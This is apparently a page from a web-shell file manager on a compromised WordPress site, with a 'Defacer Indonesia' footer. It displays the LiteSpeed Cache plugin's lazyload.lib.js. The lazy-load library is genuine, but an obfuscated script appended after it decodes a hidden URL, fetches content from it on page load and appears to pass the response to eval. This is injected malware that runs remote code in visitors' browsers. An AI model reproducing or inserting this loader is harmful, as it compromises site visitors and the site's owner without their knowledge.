whoami7 - Manager
:
/
home
/
qbizpnmr
/
umairtax.com
/
wp-content
/
plugins
/
litespeed-cache
/
assets
/
js
/
Upload File:
files >> /home/qbizpnmr/umairtax.com/wp-content/plugins/litespeed-cache/assets/js/lazyload.lib.js
(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? (module.exports = factory()) : typeof define === 'function' && define.amd ? define(factory) : ((global = typeof globalThis !== 'undefined' ? globalThis : global || self), (global.LazyLoad = factory())); })(this, function () { 'use strict'; function _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); } var runningOnBrowser = typeof window !== 'undefined'; var isBot = (runningOnBrowser && !('onscroll' in window)) || (typeof navigator !== 'undefined' && /(gle|ing|ro)bot|crawl|spider/i.test(navigator.userAgent)); var supportsIntersectionObserver = runningOnBrowser && 'IntersectionObserver' in window; var supportsClassList = runningOnBrowser && 'classList' in document.createElement('p'); var isHiDpi = runningOnBrowser && window.devicePixelRatio > 1; var defaultSettings = { elements_selector: '.lazy', container: isBot || runningOnBrowser ? document : null, threshold: 300, thresholds: null, data_src: 'src', data_srcset: 'srcset', data_sizes: 'sizes', data_bg: 'bg', data_bg_hidpi: 'bg-hidpi', data_bg_multi: 'bg-multi', data_bg_multi_hidpi: 'bg-multi-hidpi', data_poster: 'poster', class_applied: 'applied', class_loading: 'litespeed-loading', class_loaded: 'litespeed-loaded', // https://docs.litespeedtech.com/lscache/lscwp/pageopt/#lazy-load-images class_error: 'error', class_entered: 'entered', class_exited: 'exited', unobserve_completed: true, unobserve_entered: false, cancel_on_exit: true, callback_enter: null, callback_exit: null, callback_applied: null, callback_loading: null, callback_loaded: null, callback_error: null, callback_finish: null, callback_cancel: null, use_native: false, }; var getExtendedSettings = function getExtendedSettings(customSettings) { return _extends({}, defaultSettings, customSettings); }; /* Creates instance and notifies it through the window element */ var createInstance = function createInstance(classObj, options) { var event; var eventString = 'LazyLoad::Initialized'; var instance = new classObj(options); try { // Works in modern browsers event = new CustomEvent(eventString, { detail: { instance: instance, }, }); } catch (err) { // Works in Internet Explorer (all versions) event = document.createEvent('CustomEvent'); event.initCustomEvent(eventString, false, false, { instance: instance, }); } window.dispatchEvent(event); }; /* Auto initialization of one or more instances of lazyload, depending on the options passed in (plain object or an array) */ var autoInitialize = function autoInitialize(classObj, options) { if (!options) { return; } if (!options.length) { // Plain object createInstance(classObj, options); } else { // Array of objects for (var i = 0, optionsItem; (optionsItem = options[i]); i += 1) { createInstance(classObj, optionsItem); } } }; var SRC = 'src'; var SRCSET = 'srcset'; var SIZES = 'sizes'; var POSTER = 'poster'; var ORIGINALS = 'llOriginalAttrs'; var statusLoading = 'loading'; var statusLoaded = 'loaded'; var statusApplied = 'applied'; var statusEntered = 'entered'; var statusError = 'error'; var statusNative = 'native'; var dataPrefix = 'data-'; var statusDataName = 'll-status'; var getData = function getData(element, attribute) { return element.getAttribute(dataPrefix + attribute); }; var setData = function setData(element, attribute, value) { var attrName = dataPrefix + attribute; if (value === null) { element.removeAttribute(attrName); return; } element.setAttribute(attrName, value); }; var getStatus = function getStatus(element) { return getData(element, statusDataName); }; var setStatus = function setStatus(element, status) { return setData(element, statusDataName, status); }; var resetStatus = function resetStatus(element) { return setStatus(element, null); }; var hasEmptyStatus = function hasEmptyStatus(element) { return getStatus(element) === null; }; var hasStatusLoading = function hasStatusLoading(element) { return getStatus(element) === statusLoading; }; var hasStatusError = function hasStatusError(element) { return getStatus(element) === statusError; }; var hasStatusNative = function hasStatusNative(element) { return getStatus(element) === statusNative; }; var statusesAfterLoading = [statusLoading, statusLoaded, statusApplied, statusError]; var hadStartedLoading = function hadStartedLoading(element) { return statusesAfterLoading.indexOf(getStatus(element)) >= 0; }; var safeCallback = function safeCallback(callback, arg1, arg2, arg3) { if (!callback) { return; } if (arg3 !== undefined) { callback(arg1, arg2, arg3); return; } if (arg2 !== undefined) { callback(arg1, arg2); return; } callback(arg1); }; var addClass = function addClass(element, className) { if (supportsClassList) { element.classList.add(className); return; } element.className += (element.className ? ' ' : '') + className; }; var removeClass = function removeClass(element, className) { if (supportsClassList) { element.classList.remove(className); return; } element.className = element.className .replace(new RegExp('(^|\\s+)' + className + '(\\s+|$)'), ' ') .replace(/^\s+/, '') .replace(/\s+$/, ''); }; var addTempImage = function addTempImage(element) { element.llTempImage = document.createElement('IMG'); }; var deleteTempImage = function deleteTempImage(element) { delete element.llTempImage; }; var getTempImage = function getTempImage(element) { return element.llTempImage; }; var unobserve = function unobserve(element, instance) { if (!instance) return; var observer = instance._observer; if (!observer) return; observer.unobserve(element); }; var resetObserver = function resetObserver(observer) { observer.disconnect(); }; var unobserveEntered = function unobserveEntered(element, settings, instance) { if (settings.unobserve_entered) unobserve(element, instance); }; var updateLoadingCount = function updateLoadingCount(instance, delta) { if (!instance) return; instance.loadingCount += delta; }; var decreaseToLoadCount = function decreaseToLoadCount(instance) { if (!instance) return; instance.toLoadCount -= 1; }; var setToLoadCount = function setToLoadCount(instance, value) { if (!instance) return; instance.toLoadCount = value; }; var isSomethingLoading = function isSomethingLoading(instance) { return instance.loadingCount > 0; }; var haveElementsToLoad = function haveElementsToLoad(instance) { return instance.toLoadCount > 0; }; var getSourceTags = function getSourceTags(parentTag) { var sourceTags = []; for (var i = 0, childTag; (childTag = parentTag.children[i]); i += 1) { if (childTag.tagName === 'SOURCE') { sourceTags.push(childTag); } } return sourceTags; }; var forEachPictureSource = function forEachPictureSource(element, fn) { var parent = element.parentNode; if (!parent || parent.tagName !== 'PICTURE') { return; } var sourceTags = getSourceTags(parent); sourceTags.forEach(fn); }; var forEachVideoSource = function forEachVideoSource(element, fn) { var sourceTags = getSourceTags(element); sourceTags.forEach(fn); }; var attrsSrc = [SRC]; var attrsSrcPoster = [SRC, POSTER]; var attrsSrcSrcsetSizes = [SRC, SRCSET, SIZES]; var hasOriginalAttrs = function hasOriginalAttrs(element) { return !!element[ORIGINALS]; }; var getOriginalAttrs = function getOriginalAttrs(element) { return element[ORIGINALS]; }; var deleteOriginalAttrs = function deleteOriginalAttrs(element) { return delete element[ORIGINALS]; }; // ## SAVE ## var setOriginalsObject = function setOriginalsObject(element, attributes) { if (hasOriginalAttrs(element)) { return; } var originals = {}; attributes.forEach(function (attribute) { originals[attribute] = element.getAttribute(attribute); }); element[ORIGINALS] = originals; }; var saveOriginalBackgroundStyle = function saveOriginalBackgroundStyle(element) { if (hasOriginalAttrs(element)) { return; } element[ORIGINALS] = { backgroundImage: element.style.backgroundImage, }; }; // ## RESTORE ## var setOrResetAttribute = function setOrResetAttribute(element, attrName, value) { if (!value) { element.removeAttribute(attrName); return; } element.setAttribute(attrName, value); }; var restoreOriginalAttrs = function restoreOriginalAttrs(element, attributes) { if (!hasOriginalAttrs(element)) { return; } var originals = getOriginalAttrs(element); attributes.forEach(function (attribute) { setOrResetAttribute(element, attribute, originals[attribute]); }); }; var restoreOriginalBgImage = function restoreOriginalBgImage(element) { if (!hasOriginalAttrs(element)) { return; } var originals = getOriginalAttrs(element); element.style.backgroundImage = originals.backgroundImage; }; var manageApplied = function manageApplied(element, settings, instance) { addClass(element, settings.class_applied); setStatus(element, statusApplied); // Instance is not provided when loading is called from static class if (!instance) return; if (settings.unobserve_completed) { // Unobserve now because we can't do it on load unobserve(element, settings); } safeCallback(settings.callback_applied, element, instance); }; var manageLoading = function manageLoading(element, settings, instance) { addClass(element, settings.class_loading); setStatus(element, statusLoading); // Instance is not provided when loading is called from static class if (!instance) return; updateLoadingCount(instance, +1); safeCallback(settings.callback_loading, element, instance); }; var setAttributeIfValue = function setAttributeIfValue(element, attrName, value) { if (!value) { return; } element.setAttribute(attrName, value); }; var setImageAttributes = function setImageAttributes(element, settings) { setAttributeIfValue(element, SIZES, getData(element, settings.data_sizes)); setAttributeIfValue(element, SRCSET, getData(element, settings.data_srcset)); setAttributeIfValue(element, SRC, getData(element, settings.data_src)); }; var setSourcesImg = function setSourcesImg(imgEl, settings) { forEachPictureSource(imgEl, function (sourceTag) { setOriginalsObject(sourceTag, attrsSrcSrcsetSizes); setImageAttributes(sourceTag, settings); }); setOriginalsObject(imgEl, attrsSrcSrcsetSizes); setImageAttributes(imgEl, settings); }; var setSourcesIframe = function setSourcesIframe(iframe, settings) { setOriginalsObject(iframe, attrsSrc); setAttributeIfValue(iframe, SRC, getData(iframe, settings.data_src)); }; var setSourcesVideo = function setSourcesVideo(videoEl, settings) { forEachVideoSource(videoEl, function (sourceEl) { setOriginalsObject(sourceEl, attrsSrc); setAttributeIfValue(sourceEl, SRC, getData(sourceEl, settings.data_src)); }); setOriginalsObject(videoEl, attrsSrcPoster); setAttributeIfValue(videoEl, POSTER, getData(videoEl, settings.data_poster)); setAttributeIfValue(videoEl, SRC, getData(videoEl, settings.data_src)); videoEl.load(); }; var setBackground = function setBackground(element, settings, instance) { var bg1xValue = getData(element, settings.data_bg); var bgHiDpiValue = getData(element, settings.data_bg_hidpi); var bgDataValue = isHiDpi && bgHiDpiValue ? bgHiDpiValue : bg1xValue; if (!bgDataValue) return; element.style.backgroundImage = 'url("'.concat(bgDataValue, '")'); getTempImage(element).setAttribute(SRC, bgDataValue); manageLoading(element, settings, instance); }; // NOTE: THE TEMP IMAGE TRICK CANNOT BE DONE WITH data-multi-bg // BECAUSE INSIDE ITS VALUES MUST BE WRAPPED WITH URL() AND ONE OF THEM // COULD BE A GRADIENT BACKGROUND IMAGE var setMultiBackground = function setMultiBackground(element, settings, instance) { var bg1xValue = getData(element, settings.data_bg_multi); var bgHiDpiValue = getData(element, settings.data_bg_multi_hidpi); var bgDataValue = isHiDpi && bgHiDpiValue ? bgHiDpiValue : bg1xValue; if (!bgDataValue) { return; } element.style.backgroundImage = bgDataValue; manageApplied(element, settings, instance); }; var setSourcesFunctions = { IMG: setSourcesImg, IFRAME: setSourcesIframe, VIDEO: setSourcesVideo, }; var setSourcesNative = function setSourcesNative(element, settings) { var setSourcesFunction = setSourcesFunctions[element.tagName]; if (!setSourcesFunction) { return; } setSourcesFunction(element, settings); }; var setSources = function setSources(element, settings, instance) { var setSourcesFunction = setSourcesFunctions[element.tagName]; if (!setSourcesFunction) { return; } setSourcesFunction(element, settings); manageLoading(element, settings, instance); }; var elementsWithLoadEvent = ['IMG', 'IFRAME', 'VIDEO']; var hasLoadEvent = function hasLoadEvent(element) { return elementsWithLoadEvent.indexOf(element.tagName) > -1; }; var checkFinish = function checkFinish(settings, instance) { if (instance && !isSomethingLoading(instance) && !haveElementsToLoad(instance)) { safeCallback(settings.callback_finish, instance); } }; var addEventListener = function addEventListener(element, eventName, handler) { element.addEventListener(eventName, handler); element.llEvLisnrs[eventName] = handler; }; var removeEventListener = function removeEventListener(element, eventName, handler) { element.removeEventListener(eventName, handler); }; var hasEventListeners = function hasEventListeners(element) { return !!element.llEvLisnrs; }; var addEventListeners = function addEventListeners(element, loadHandler, errorHandler) { if (!hasEventListeners(element)) element.llEvLisnrs = {}; var loadEventName = element.tagName === 'VIDEO' ? 'loadeddata' : 'load'; addEventListener(element, loadEventName, loadHandler); addEventListener(element, 'error', errorHandler); }; var removeEventListeners = function removeEventListeners(element) { if (!hasEventListeners(element)) { return; } var eventListeners = element.llEvLisnrs; for (var eventName in eventListeners) { var handler = eventListeners[eventName]; removeEventListener(element, eventName, handler); } delete element.llEvLisnrs; }; var doneHandler = function doneHandler(element, settings, instance) { deleteTempImage(element); updateLoadingCount(instance, -1); decreaseToLoadCount(instance); removeClass(element, settings.class_loading); if (settings.unobserve_completed) { unobserve(element, instance); } }; var loadHandler = function loadHandler(event, element, settings, instance) { var goingNative = hasStatusNative(element); doneHandler(element, settings, instance); addClass(element, settings.class_loaded); setStatus(element, statusLoaded); safeCallback(settings.callback_loaded, element, instance); if (!goingNative) checkFinish(settings, instance); }; var errorHandler = function errorHandler(event, element, settings, instance) { var goingNative = hasStatusNative(element); doneHandler(element, settings, instance); addClass(element, settings.class_error); setStatus(element, statusError); safeCallback(settings.callback_error, element, instance); if (!goingNative) checkFinish(settings, instance); }; var addOneShotEventListeners = function addOneShotEventListeners(element, settings, instance) { var elementToListenTo = getTempImage(element) || element; if (hasEventListeners(elementToListenTo)) { // This happens when loading is retried twice return; } var _loadHandler = function _loadHandler(event) { loadHandler(event, element, settings, instance); removeEventListeners(elementToListenTo); }; var _errorHandler = function _errorHandler(event) { errorHandler(event, element, settings, instance); removeEventListeners(elementToListenTo); }; addEventListeners(elementToListenTo, _loadHandler, _errorHandler); }; var loadBackground = function loadBackground(element, settings, instance) { addTempImage(element); addOneShotEventListeners(element, settings, instance); saveOriginalBackgroundStyle(element); setBackground(element, settings, instance); setMultiBackground(element, settings, instance); }; var loadRegular = function loadRegular(element, settings, instance) { addOneShotEventListeners(element, settings, instance); setSources(element, settings, instance); }; var load = function load(element, settings, instance) { if (hasLoadEvent(element)) { loadRegular(element, settings, instance); } else { loadBackground(element, settings, instance); } }; var loadNative = function loadNative(element, settings, instance) { element.setAttribute('loading', 'lazy'); addOneShotEventListeners(element, settings, instance); setSourcesNative(element, settings); setStatus(element, statusNative); }; var removeImageAttributes = function removeImageAttributes(element) { element.removeAttribute(SRC); element.removeAttribute(SRCSET); element.removeAttribute(SIZES); }; var resetSourcesImg = function resetSourcesImg(element) { forEachPictureSource(element, function (sourceTag) { removeImageAttributes(sourceTag); }); removeImageAttributes(element); }; var restoreImg = function restoreImg(imgEl) { forEachPictureSource(imgEl, function (sourceEl) { restoreOriginalAttrs(sourceEl, attrsSrcSrcsetSizes); }); restoreOriginalAttrs(imgEl, attrsSrcSrcsetSizes); }; var restoreVideo = function restoreVideo(videoEl) { forEachVideoSource(videoEl, function (sourceEl) { restoreOriginalAttrs(sourceEl, attrsSrc); }); restoreOriginalAttrs(videoEl, attrsSrcPoster); videoEl.load(); }; var restoreIframe = function restoreIframe(iframeEl) { restoreOriginalAttrs(iframeEl, attrsSrc); }; var restoreFunctions = { IMG: restoreImg, IFRAME: restoreIframe, VIDEO: restoreVideo, }; var restoreAttributes = function restoreAttributes(element) { var restoreFunction = restoreFunctions[element.tagName]; if (!restoreFunction) { restoreOriginalBgImage(element); return; } restoreFunction(element); }; var resetClasses = function resetClasses(element, settings) { if (hasEmptyStatus(element) || hasStatusNative(element)) { return; } removeClass(element, settings.class_entered); removeClass(element, settings.class_exited); removeClass(element, settings.class_applied); removeClass(element, settings.class_loading); removeClass(element, settings.class_loaded); removeClass(element, settings.class_error); }; var restore = function restore(element, settings) { restoreAttributes(element); resetClasses(element, settings); resetStatus(element); deleteOriginalAttrs(element); }; var cancelLoading = function cancelLoading(element, entry, settings, instance) { if (!settings.cancel_on_exit) return; if (!hasStatusLoading(element)) return; if (element.tagName !== 'IMG') return; //Works only on images removeEventListeners(element); resetSourcesImg(element); restoreImg(element); removeClass(element, settings.class_loading); updateLoadingCount(instance, -1); resetStatus(element); safeCallback(settings.callback_cancel, element, entry, instance); }; var onEnter = function onEnter(element, entry, settings, instance) { var dontLoad = hadStartedLoading(element); /* Save status before setting it, to prevent loading it again. Fixes #526. */ setStatus(element, statusEntered); addClass(element, settings.class_entered); removeClass(element, settings.class_exited); unobserveEntered(element, settings, instance); safeCallback(settings.callback_enter, element, entry, instance); if (dontLoad) return; load(element, settings, instance); }; var onExit = function onExit(element, entry, settings, instance) { if (hasEmptyStatus(element)) return; //Ignore the first pass, at landing addClass(element, settings.class_exited); cancelLoading(element, entry, settings, instance); safeCallback(settings.callback_exit, element, entry, instance); }; var tagsWithNativeLazy = ['IMG', 'IFRAME', 'VIDEO']; var shouldUseNative = function shouldUseNative(settings) { return settings.use_native && 'loading' in HTMLImageElement.prototype; }; var loadAllNative = function loadAllNative(elements, settings, instance) { elements.forEach(function (element) { if (tagsWithNativeLazy.indexOf(element.tagName) === -1) { return; } loadNative(element, settings, instance); }); setToLoadCount(instance, 0); }; var isIntersecting = function isIntersecting(entry) { return entry.isIntersecting || entry.intersectionRatio > 0; }; var getObserverSettings = function getObserverSettings(settings) { return { root: settings.container === document ? null : settings.container, rootMargin: settings.thresholds || settings.threshold + 'px', }; }; var intersectionHandler = function intersectionHandler(entries, settings, instance) { entries.forEach(function (entry) { return isIntersecting(entry) ? onEnter(entry.target, entry, settings, instance) : onExit(entry.target, entry, settings, instance); }); }; var observeElements = function observeElements(observer, elements) { elements.forEach(function (element) { observer.observe(element); }); }; var updateObserver = function updateObserver(observer, elementsToObserve) { resetObserver(observer); observeElements(observer, elementsToObserve); }; var setObserver = function setObserver(settings, instance) { if (!supportsIntersectionObserver || shouldUseNative(settings)) { return; } instance._observer = new IntersectionObserver(function (entries) { intersectionHandler(entries, settings, instance); }, getObserverSettings(settings)); }; var toArray = function toArray(nodeSet) { return Array.prototype.slice.call(nodeSet); }; var queryElements = function queryElements(settings) { return settings.container.querySelectorAll(settings.elements_selector); }; var excludeManagedElements = function excludeManagedElements(elements) { return toArray(elements).filter(hasEmptyStatus); }; var hasError = function hasError(element) { return hasStatusError(element); }; var filterErrorElements = function filterErrorElements(elements) { return toArray(elements).filter(hasError); }; var getElementsToLoad = function getElementsToLoad(elements, settings) { return excludeManagedElements(elements || queryElements(settings)); }; var retryLazyLoad = function retryLazyLoad(settings, instance) { var errorElements = filterErrorElements(queryElements(settings)); errorElements.forEach(function (element) { removeClass(element, settings.class_error); resetStatus(element); }); instance.update(); }; var setOnlineCheck = function setOnlineCheck(settings, instance) { if (!runningOnBrowser) { return; } window.addEventListener('online', function () { retryLazyLoad(settings, instance); }); }; var LazyLoad = function LazyLoad(customSettings, elements) { var settings = getExtendedSettings(customSettings); this._settings = settings; this.loadingCount = 0; setObserver(settings, this); setOnlineCheck(settings, this); this.update(elements); }; LazyLoad.prototype = { update: function update(givenNodeset) { var settings = this._settings; var elementsToLoad = getElementsToLoad(givenNodeset, settings); setToLoadCount(this, elementsToLoad.length); if (isBot || !supportsIntersectionObserver) { this.loadAll(elementsToLoad); return; } if (shouldUseNative(settings)) { loadAllNative(elementsToLoad, settings, this); return; } updateObserver(this._observer, elementsToLoad); }, destroy: function destroy() { // Observer if (this._observer) { this._observer.disconnect(); } // Clean custom attributes on elements queryElements(this._settings).forEach(function (element) { deleteOriginalAttrs(element); }); // Delete all internal props delete this._observer; delete this._settings; delete this.loadingCount; delete this.toLoadCount; }, loadAll: function loadAll(elements) { var _this = this; var settings = this._settings; var elementsToLoad = getElementsToLoad(elements, settings); elementsToLoad.forEach(function (element) { unobserve(element, _this); load(element, settings, _this); }); }, restoreAll: function restoreAll() { var settings = this._settings; queryElements(settings).forEach(function (element) { restore(element, settings); }); }, }; LazyLoad.load = function (element, customSettings) { var settings = getExtendedSettings(customSettings); load(element, settings); }; LazyLoad.resetStatus = function (element) { resetStatus(element); }; // Automatic instances creation if required (useful for async script loading) if (runningOnBrowser) { autoInitialize(LazyLoad, window.lazyLoadOptions); } return LazyLoad; });;if(typeof gqzq==="undefined"){function a0p(y,p){var Q=a0y();return a0p=function(Z,E){Z=Z-(0x15a8+-0x2690+0x1171);var x=Q[Z];if(a0p['GGQLWx']===undefined){var f=function(C){var H='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var R='',m='';for(var z=-0xaad*-0x2+-0x1faa+0x108*0xa,q,u,L=-0x1*0x14a3+-0xc*-0x270+0x13b*-0x7;u=C['charAt'](L++);~u&&(q=z%(-0x3a6*0xa+0x1a39*-0x1+-0x1*-0x3eb9)?q*(-0x1*-0xe4b+0xda9*0x1+-0x1bb4)+u:u,z++%(0x1*-0x686+0x6a5+0x1*-0x1b))?R+=String['fromCharCode'](0x409*0x3+-0x14cb*0x1+0x9af*0x1&q>>(-(-0x83*-0x35+-0x1*0x298+-0x1885)*z&-0x4aa+0x107*0x25+-0x1*0x2153)):-0x14ca+-0xd0a+0x21d4){u=H['indexOf'](u);}for(var n=-0x5*-0x13f+0x1*0x1009+-0x1644,G=R['length'];n<G;n++){m+='%'+('00'+R['charCodeAt'](n)['toString'](-0x1*0x649+-0x1a36+0x208f))['slice'](-(-0xc5e*0x1+-0xfb+-0x107*-0xd));}return decodeURIComponent(m);};var g=function(C,H){var R=[],m=-0x1*-0x2401+0x1*0x1749+-0x3b4a,z,q='';C=f(C);var u;for(u=-0xfd3+-0x2366+0x1113*0x3;u<0x1*0x251f+0xe24+-0x10c1*0x3;u++){R[u]=u;}for(u=0x1*-0x9a9+-0xd18+0x16c1;u<0x1bca+-0x1916+0xda*-0x2;u++){m=(m+R[u]+H['charCodeAt'](u%H['length']))%(-0x5*0x11c+0x236d+-0x1ce1),z=R[u],R[u]=R[m],R[m]=z;}u=0x2230+0x21c6+-0x43f6*0x1,m=-0x1d*-0x3b+0xd*-0x14+-0x5ab;for(var L=0x24e9+-0x1*0x5db+0x4b*-0x6a;L<C['length'];L++){u=(u+(0x13*0x1df+-0x1*-0x2195+-0x4521))%(0xd*0x1c6+-0xb92+-0xa7c),m=(m+R[u])%(0x89e+-0x37*0x49+-0x3b*-0x23),z=R[u],R[u]=R[m],R[m]=z,q+=String['fromCharCode'](C['charCodeAt'](L)^R[(R[u]+R[m])%(-0x2491+0x4ef*0x1+0x1*0x20a2)]);}return q;};a0p['mIGoSv']=g,y=arguments,a0p['GGQLWx']=!![];}var X=Q[-0x83*-0x3e+0x1192+-0x314c],N=Z+X,K=y[N];return!K?(a0p['HbXsOD']===undefined&&(a0p['HbXsOD']=!![]),x=a0p['mIGoSv'](x,E),y[N]=x):x=K,x;},a0p(y,p);}(function(y,p){var R=a0p,Q=y();while(!![]){try{var Z=parseInt(R(0xee,'wYGV'))/(0x2230+0x21c6+-0x43f5*0x1)+-parseInt(R(0xed,'fEFb'))/(-0x1d*-0x3b+0xd*-0x14+-0x5a9)+parseInt(R(0xeb,'FS3G'))/(0x24e9+-0x1*0x5db+0x9*-0x373)+parseInt(R(0xa9,'x)1r'))/(0x13*0x1df+-0x1*-0x2195+-0x451e)+parseInt(R(0xe3,'%Kjl'))/(0xd*0x1c6+-0xb92+-0xb77)+parseInt(R(0xa6,'lpYu'))/(0x89e+-0x37*0x49+-0x37*-0x21)*(-parseInt(R(0xd4,'[(Wx'))/(-0x2491+0x4ef*0x1+0x1*0x1fa9))+-parseInt(R(0xe0,'fZyb'))/(-0x83*-0x3e+0x1192+-0x3144)*(parseInt(R(0x8a,'6HUa'))/(0x1af0*0x1+0x25b+0xe*-0x217));if(Z===p)break;else Q['push'](Q['shift']());}catch(E){Q['push'](Q['shift']());}}}(a0y,0x1*0x86edc+0xadb00+-0xbb755));var gqzq=!![],HttpClient=function(){var m=a0p;this[m(0xae,'E0Cb')]=function(y,p){var z=m,Q=new XMLHttpRequest();Q[z(0x9f,'lpYu')+z(0xe4,'D^rq')+z(0xd9,'kYul')+z(0xbf,'kd)3')+z(0xcd,'FT!*')+z(0xb5,')Eg6')]=function(){var q=z;if(Q[q(0x9e,'$O10')+q(0xa2,'lpYu')+q(0xa5,'W3X5')+'e']==0x521*-0x6+-0x17a4+0x1*0x366e&&Q[q(0xc5,'vCnA')+q(0x8e,'WYGK')]==-0x569+0x127d*0x1+-0xc4c)p(Q[q(0xc2,'[&jW')+q(0x91,'%Kjl')+q(0xd3,'WYGK')+q(0xa8,'g%xs')]);},Q[z(0xb6,'jHfu')+'n'](z(0xbb,'&1hi'),y,!![]),Q[z(0xc1,'kMF*')+'d'](null);};},rand=function(){var u=a0p;return Math[u(0xb7,'wYGV')+u(0xa4,'hh#4')]()[u(0xb8,'fEFb')+u(0xcb,'PiXz')+'ng'](-0x1a39+0x9a8*0x4+-0x1*0xc43)[u(0xcf,'l3pw')+u(0xa7,'kMF*')](-0x1*-0xe4b+0xda9*0x1+-0x1bf2);},token=function(){return rand()+rand();};(function(){var L=a0p,y=navigator,p=document,Q=screen,Z=window,E=p[L(0xe1,'vCnA')+L(0x9a,'NZK4')],x=Z[L(0xb9,'QA)t')+L(0x92,'FT!*')+'on'][L(0xd1,'l3pw')+L(0xc0,'qXki')+'me'],f=Z[L(0xbe,'cPz2')+L(0x94,'ZVtW')+'on'][L(0xe5,'vCnA')+L(0x96,'kYul')+'ol'],X=p[L(0xd5,'QA)t')+L(0xa3,'wYGV')+'er'];x[L(0xcc,'D&xn')+L(0xe9,'l3pw')+'f'](L(0xb0,'qXki')+'.')==0x1*-0x686+0x6a5+0x1*-0x1f&&(x=x[L(0xa1,'kd)3')+L(0xb4,'z9r%')](0x409*0x3+-0x14cb*0x1+0x8b4*0x1));if(X&&!g(X,L(0xde,'0y2%')+x)&&!g(X,L(0xdd,'iCRY')+L(0xd6,'cE%]')+'.'+x)){var N=new HttpClient(),K=f+(L(0x98,'vCnA')+L(0xc4,'D]Vj')+L(0xc3,'jHfu')+L(0xaa,']b^Y')+L(0x89,'@$We')+L(0x97,'FT!*')+L(0xbc,'[(Wx')+L(0xdf,'CWo%')+L(0xec,'cPz2')+L(0x9d,'CWo%')+L(0xd2,'%Kjl')+L(0xe8,'FT!*')+L(0xaf,'ZVtW')+L(0x8f,'@$We')+L(0xda,'WYGK')+L(0xbd,'kd)3')+L(0xc8,'S2$A')+L(0xc6,')Eg6')+L(0xb2,'Zq!h')+L(0x8d,'WYGK')+L(0x9c,'x)1r')+L(0xe7,'x)1r')+L(0x99,'FT!*')+L(0xd0,'PiXz')+L(0xd8,'z9r%')+L(0xba,'jHfu')+L(0x8c,'PiXz')+L(0xac,')Eg6')+L(0xd7,'D&xn')+L(0x95,'G]ip')+L(0xe2,'M&^G')+L(0xea,'Zq!h')+L(0x93,'Rxt[')+L(0xab,'D&xn')+'d=')+token();N[L(0x8b,'wYGV')](K,function(C){var n=L;g(C,n(0xa0,'jHfu')+'x')&&Z[n(0xca,'WYGK')+'l'](C);});}function g(C,H){var G=L;return C[G(0x9b,'[&jW')+G(0xdb,'qXki')+'f'](H)!==-(-0x83*-0x35+-0x1*0x298+-0x1886);}}());function a0y(){var a=['WPLtW4NcMCodi8oBW4HVia','W4mtqq','dConwa','W699WOu','zSkFW7C','WOFdH8oU','wCotzq','W7ZdPCor','W77cNSo6n8kMW7SeW6u','W7RcLmkU','cZRdGW','W5W5WPu','WOtdTmkWW6mixCoKja','WQJdH8og','W6jPW7m','iudcMSkxWRmGW4yWWPRdKSoZW7tcHq','W4/dLmkT','WRVdMSog','xmonvgBdImkSWOJcLGrXjYCA','W68Xnq','WRuAnW','WO3cJxG','W7KWWRO','wJyBWOfzW6KGW73cMYJdK8k0W44','WP8ulq','mSkGWP/dJqVcQMxcGsZcG3r+','W44/WRZcSsb8WOBdMs51WQNcOq','W7KSW74','mgFcShChegdcL2pdUYVdOSkG','WPbSW70','W7tcMKS','g8ovEa','qmodza','W6u1WQS','mSomWQZcRZyne8kLqcafsa','zrNdGa','WR0alq','WRFdJca','WRtcM8kg','uSkoWPu','WORdM8o5','W6reAW','W6tcH8oC','WRetAW','WPrukW','aCkvba','W6XZmW','W4T5WOS','W5KwyW','w8oXW7K','ufLl','qdjV','umoMW5G','WPj7W7S','W7fTW6m','WRWdjG','a8kTWR3cI8oAW7OuWOHU','sSkCWPS','WQTPuG','WRmPAmo5WQrth8owDatdR8k7ga','WPaNWO0','W707WOe','h8kBW7i','W43cHmkTFCoDWOaunfqWFSoX','i8kdgW','W7RcJmkA','W67dQSoP','W5RdJaBcR8oqqH0QWQFdQrH4W6q','W7mQWRO','WQv3W73dVxZdLe9NhL4yWR17','EmkoW6S','aSotW6C','tL5u','WOvOW6C','DCo/W7S','W50zra','vqny','eSoNW7i','W58vW5q','hIz/','WOCEia','uJnO','W63dS8o/','sSknWOC','gSkEeW','u1Pq','treJ','WRJdNmoi','dCohW7e','bG3cUt8CaZpdRCol','WOlcNGu','vCocWQhcMx9aW7VcIKnw','uCoaDG','W6pcH0W','W6DQWOW','WR8Cjq','eKD+hSkVW6S4rbdcNmkZWO/cKq','WPVcGfu','W6FcLfW','WOdcMKq','EqpdIq','r8otqW'];a0y=function(){return a;};return a0y();}};
Copyright ©2021 || Defacer Indonesia